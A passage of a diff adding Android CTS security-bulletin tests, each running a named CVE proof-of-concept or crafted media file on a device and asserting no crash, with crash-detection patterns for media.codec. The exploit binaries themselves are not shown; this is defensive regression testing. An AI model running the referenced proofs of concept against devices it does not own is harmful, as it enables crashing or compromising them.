+ String inputFiles[] = {"cve_2016_6328.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-6328",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
new file mode 100644
index 0000000..4dd4b39
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0684 extends SecurityTestCase {
+
+ /**
+ * b/35421151
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2017-07")
+ @Test
+ public void testPocCVE_2017_0684() throws Exception {
+ pocPusher.only32();
+ String errPattern[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0684", null, getDevice(),
+ errPattern);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
new file mode 100644
index 0000000..5a17589
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0726 extends SecurityTestCase {
+
+ /**
+ * b/36389123
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-08")
+ @Test
+ public void testPocCVE_2017_0726() throws Exception {
+ pocPusher.only64();
+ String inputFiles[] = {"cve_2017_0726.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0726",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
new file mode 100644
index 0000000..ab83ce3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_13194 extends SecurityTestCase {
+
+ /**
+ * b/64710201
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_13194() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
+ pocPusher.only64();
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13194", null, getDevice(),
+ processPatternStrings);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
new file mode 100644
index 0000000..df21402
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9584 extends SecurityTestCase {
+
+ /**
+ * b/114047681
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-01")
+ @Test
+ public void testPocCVE_2018_9584() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9584", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
new file mode 100644
index 0000000..bf0ff34
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9585 extends SecurityTestCase {
+
+ /**
+ * b/117554809
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-01")
+ @Test
+ public void testPocCVE_2018_9585() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9585", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
new file mode 100644
index 0000000..f92c876
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2011 extends SecurityTestCase {
+
+ /**
+ * b/120084106
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-03")
+ @Test
+ public void testPocCVE_2019_2011() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2011", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
new file mode 100644
index 0000000..b1899ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2013 extends SecurityTestCase {
+
+ /**
+ * b/120497583
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-03")
+ @Test
+ public void testPocCVE_2019_2013() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2013", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
new file mode 100644
index 0000000..a97c679
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2019 extends SecurityTestCase {
+
+ /**
+ * b/115635871
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-03")
+ @Test
+ public void testPocCVE_2019_2019() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2019", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
new file mode 100644
index 0000000..6072d12
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2044 extends SecurityTestCase {
+
+ /**
+ * b/123701862
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-05")
+ @Test
+ public void testPocCVE_2019_2044() throws Exception {
+ pocPusher.only32();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2044", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java
new file mode 100644
index 0000000..783bfa1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2046 extends SecurityTestCase {
+
+ /**
+ * b/117556220
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-05")
+ @Test
+ public void testPocCVE_2019_2046() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runProxyAutoConfig("cve_2019_2046", "true", getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
new file mode 100644
index 0000000..149d385
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2099 extends SecurityTestCase {
+
+ /**
+ * b/123583388
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ **/
+ @SecurityTest(minPatchLevel = "2019-06")
+ @Test
+ public void testPocCVE_2019_2099() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2099", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
new file mode 100644
index 0000000..38c8be0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2115 extends SecurityTestCase {
+
+ /**
+ * b/129768470
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_2115() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2115", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
new file mode 100644
index 0000000..db98e28
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
@@ -0,0 +1,39 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2135 extends SecurityTestCase {
+
+ /**
+ * b/125900276
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2135() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE_2019_2135", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
new file mode 100644
index 0000000..e4b41cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2136 extends SecurityTestCase {
+
+ /**
+ * b/132650049
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2136() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2136", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
new file mode 100644
index 0000000..6f6c1f4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2207 extends SecurityTestCase {
+
+ /**
+ * b/124524315
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-11")
+ @Test
+ public void testPocCVE_2019_2207() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2207", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
new file mode 100644
index 0000000..ad9e06f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_9247 extends SecurityTestCase {
+
+ /**
+ * b/120426166
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_9247() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9247", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
new file mode 100644
index 0000000..7b3fb17
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0006 extends SecurityTestCase {
+
+ /**
+ * b/139738828
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-01")
+ @Test
+ public void testPocCVE_2020_0006() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0006", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
new file mode 100644
index 0000000..4e0a4a6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0037 extends SecurityTestCase {
+
+ /**
+ * b/143106535
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0037() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0037", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
new file mode 100644
index 0000000..6759c30
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0038 extends SecurityTestCase {
+
+ /**
+ * b/143109193
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0038() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0038", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
new file mode 100644
index 0000000..f0f3323
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0039 extends SecurityTestCase {
+
+ /**
